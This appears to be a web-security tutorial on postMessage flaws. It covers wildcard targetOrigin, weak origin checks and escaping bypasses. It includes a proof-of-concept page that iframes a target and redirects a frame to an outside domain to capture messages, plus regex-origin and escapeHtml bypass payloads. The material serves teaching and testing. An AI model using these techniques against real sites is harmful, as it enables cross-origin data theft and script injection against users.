PostMessage Vulnerabilities

PostMessages wildcards

PostMessage uses the following function to send a message:

targetWindow.postMessage(message, targetOrigin, [transfer]);

Check that targetOrigin could be a url like https://company.com, so the messages can only be sent to that user (secure). Or it cloud be a wildcard “*”. In case a wildcard is used, messages could be sent to any domain.

Attack

In this report you can read how you could iframe a page that at some point may sent a postmessage using a wildcard as targetOrigin and modify it’s location so the data will be sent to an arbitrary domain. In order to be able to perform this attack X-Frame header must not be present in the vuln page.

<html>
    <iframe src="https://docs.google.com/document/ID" />
    <script>
       //pseudo code
        
        
        setTimeout(function(){ exp(); }, 6000);

        function exp(){
        setInterval(function(){ 
         window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
        }, 100);
        }
    </script>
</html>

addEventListener exploitation

In order to treat the messages a code similar to the following one will be used:

window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

It’s important to check the origin and it’s equally important to check it right:

Tips/Bypasses in PostMessage vulnerabilities

Copied from https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

  • If indexOf() is used to check the origin of the PostMessage event, remember that it can be bypassed if the origin is contained in the string as seen in The Bypass
  • @filedescriptor: Using search() to validate the origin could be insecure. According to the docs of String.prototype.search(), the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.
"https://www.safedomain.com".search(t.origin)

In regular expression, a dot (.) is treated as a wildcard. In other words, any character of the origin can be replaced with a dot. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, such as www.s.afedomain.com.

  • @bored-engineer: If escapeHtml function is used, the function does not create a new escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to hasOwnProperty it will not be escaped.
// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File object is perfect for this exploit as it has a read-only name property which is used by our template and will bypass escapeHtml function.